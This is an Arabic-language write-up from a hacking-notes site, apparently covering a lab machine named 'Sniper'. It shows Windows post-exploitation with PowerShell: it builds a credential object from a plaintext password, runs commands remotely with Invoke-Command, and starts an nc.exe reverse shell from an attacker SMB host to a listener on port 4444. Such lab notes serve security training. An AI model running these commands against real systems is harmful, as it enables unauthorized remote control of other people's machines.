> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/post-exploitation/pivoting-windows-powershell.md).
# التوجيه في Windows (PowerShell)
### بوويرشيل
قمنا بتشغيل PowerShell على آلة الهجوم الخاصة بنا:
```bash
powershell
```
لقد استعدنا الآن اسم بيئة Windows باستخدام `hostname` الأمر، وتأكدنا أن اسم الفندق هو `Sniper`.
```powershell
hostname
```
بعد ذلك، أنشأنا متغيرًا للمستخدم `Chris` ومتغيرًا آخر لكلمة المرور باستخدام `ConvertTo-SecureString`:
```powershell
$user = "Sniper/Chris"
```
```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```
لذا، قمنا بإنشاء `PSCredential` كائنًا لنتمكن من تنفيذ الأوامر عن بُعد على الجهاز:
```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```
**تنفيذ الأوامر عن بُعد:**/ لقد استخدمنا الآن الأمر التالي لتنفيذ `whoami` الأوامر عن بُعد والتحقق من الصلاحيات:
```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```
* وقد سمح لنا هذا بالتأكد من أننا كنا متصلين بالفعل بصفتنا **Chris**.
**شل عكسي :**/ للحصول على وصول كامل إلى النظام، قمنا بإعداد مستمع على المنفذ 4444:
```bash
rlwrap nc -nlvp 4444
```
بعد ذلك، قمنا بتشغيل شل عكسي باستخدام `nc.exe` من خادم SMB الخاص بنا:
{% code overflow="wrap" %}
```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444}
```
{% endcode %}
---
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